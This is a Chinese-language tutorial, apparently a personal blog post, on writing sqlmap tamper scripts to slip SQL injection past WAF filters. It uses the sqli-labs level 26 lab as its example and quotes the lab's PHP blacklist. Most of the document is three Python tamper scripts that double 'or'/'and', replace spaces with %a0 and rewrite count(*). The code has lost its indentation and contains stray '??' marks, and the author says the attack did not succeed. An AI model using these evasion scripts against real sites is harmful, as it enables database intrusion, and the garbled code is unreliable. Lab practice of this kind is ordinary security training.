一、简介
sqlmap是一款用来检测与利用SQL注入漏洞的免费工具,不仅可以实现SQL注入漏洞的检测和利用的自动化处理,自带的Tamper脚本可以帮助我们绕过IDS/WAF的检测。
二、Tamper脚本
部分Tamper脚本如图: 虽然sqlmap提供了许多Tamper脚本,但实际使用过程中网站可能过滤了许多敏感字符和相关函数,这就需要我们能够针对防护规则手动构建相应的Tamper脚本。
三、Tamper结构

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
""" 
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

"""
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。在官方提供的Tamper脚本中
只被使用了两次,两次都只是更改了http-header
"""

def tamper(payload, **kwargs):
return payload??
四、Tamper脚本编写
以sqli-labs 26关为例:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
double-and-or.py

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
""" 
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = re.sub(r"(?i)(or)", r"oorr", retVal)
retVal = re.sub(r"(?i)(and)", r"anandd", retVal)
return retVal??
space2A0.py
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%a0"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "%a0"
continue
retVal += payload[i]
return retVal
参考:https://blog.csdn.net/qq_34640691/article/details/109167350
count.py
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = re.sub(r"(?i)count\(\*\)", r"count(1)", payload)
return retVal
倒霉蛋子 没跑出来 后面再来填坑
|